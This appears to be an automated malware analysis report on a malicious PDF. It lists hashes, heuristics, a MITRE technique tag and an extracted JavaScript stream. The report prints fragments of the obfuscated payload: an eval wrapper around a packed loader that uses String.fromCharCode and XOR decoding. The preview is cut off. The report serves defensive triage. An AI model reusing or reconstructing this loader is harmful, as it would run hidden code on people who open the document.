PDF malware analysis — malicious · b7aa74bbd57a2eda

MALICIOUS

PDF

8.8 KB Created: 2009-07-20 14:03:34 Authoring application: tIKospqBkhBpMx (via JKZEPEucscxDoGDndrrvB) First seen: 2026-05-08

MD5: 689ae3de628cb0d5961f80ed9cd7a0b6 SHA-1: 382201b955d91c65de5f1d55a587672438c43e57 SHA-256: b7aa74bbd57a2eda56033927a3be628565b33ab81c4d64e98a63be419f04cf6c

116 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj0007_000.js', is obfuscated using String.fromCharCode, suggesting an attempt to hide malicious code. The document body text is largely unreadable garbage, but the presence of JavaScript and the obfuscation techniques strongly suggest the document is designed to execute malicious code upon opening.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

,d
\){e=function\(c\){return\(c<a?'':e\(parseInt\(c/a\)\)\)+\(\(c=c%a\)>35?String.fromCharCode\(c+29\):c.toString\(36\)\)};if\(!''.replace\(/^/,String\)\){while\(c--\){d[e\(c\)]=k[c]||e\(c\)}k=[function\(e\){return d[e]}];e=function\(\){return'\\\\w+'};c=1};while\(c--\){if\(k[c]\){p=p.replace\(new RegExp\('\\\\b'+e\(c\)+'\\\\b','g'\),k[c]\)}}return p}\('1H 2q\(14\){P R=0;P U="";2h\(R=0;R<14.2t;R++\){U=U+2u.1O\(14.1P\(R\)^1\)}1F U}1H 1I\(1J\){1F 1L\(1J\)}P Z=1R.24.3k\(\);Z=Z.1G\(/\\\\D/g,""\);P 3i=" …
)

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x3C0	7254 bytes
SHA-256: `1034fe3ab97f809a438520205925f71164aaf98aa4a64c03f285e1531b5403bd`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function Ka6mjyfn(Tl3z5fb){ eval ( Tl3z5fb ); } Ka6mjyfn( function( p ,a ,c ,k ,e ,d ){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]\|\|e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1H 2q(14){P R=0;P U="";2h(R=0;R<14.2t;R++){U=U+2u.1O(14.1P(R)^1)}1F U}1H 1I(1J){1F 1L(1J)}P Z=1R.24.3k();Z=Z.1G(/\\D/g,"");P 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